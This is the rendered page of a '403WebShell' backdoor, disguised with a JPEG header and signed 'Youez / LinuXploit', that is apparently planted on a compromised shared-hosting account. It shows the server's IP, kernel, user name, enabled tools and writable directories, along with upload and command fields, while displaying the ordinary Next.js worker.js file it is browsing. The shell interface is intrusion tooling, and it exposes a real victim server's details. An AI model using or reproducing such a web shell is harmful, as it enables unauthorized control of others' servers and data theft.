ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.135
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/next/dist/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/next/dist/lib/worker.js
"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
var _jestWorker = require("jest-worker");
const RESTARTED = Symbol('restarted');
class Worker {
    constructor(workerPath, options){
        let { timeout , onRestart , ...farmOptions } = options;
        let restartPromise;
        let resolveRestartPromise;
        let activeTasks = 0;
        this._worker = undefined;
        const createWorker = ()=>{
            this._worker = new _jestWorker.Worker(workerPath, farmOptions);
            restartPromise = new Promise((resolve)=>resolveRestartPromise = resolve
            );
            this._worker.getStdout().pipe(process.stdout);
            this._worker.getStderr().pipe(process.stderr);
        };
        createWorker();
        const onHanging = ()=>{
            const worker = this._worker;
            if (!worker) return;
            const resolve = resolveRestartPromise;
            createWorker();
            worker.end().then(()=>{
                resolve(RESTARTED);
            });
        };
        let hangingTimer = false;
        const onActivity = ()=>{
            if (hangingTimer) clearTimeout(hangingTimer);
            hangingTimer = activeTasks > 0 && setTimeout(onHanging, timeout);
        };
        for (const method of farmOptions.exposedMethods){
            if (method.startsWith('_')) continue;
            this[method] = timeout ? async (...args)=>{
                activeTasks++;
                try {
                    let attempts = 0;
                    for(;;){
                        onActivity();
                        const result = await Promise.race([
                            this._worker[method](...args),
                            restartPromise, 
                        ]);
                        if (result !== RESTARTED) return result;
                        if (onRestart) onRestart(method, args, ++attempts);
                    }
                } finally{
                    activeTasks--;
                    onActivity();
                }
            } : this._worker[method].bind(this._worker);
        }
    }
    end() {
        const worker = this._worker;
        if (!worker) {
            throw new Error('Farm is ended, no more calls can be done to it');
        }
        this._worker = undefined;
        return worker.end();
    }
}
exports.Worker = Worker;

//# sourceMappingURL=worker.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit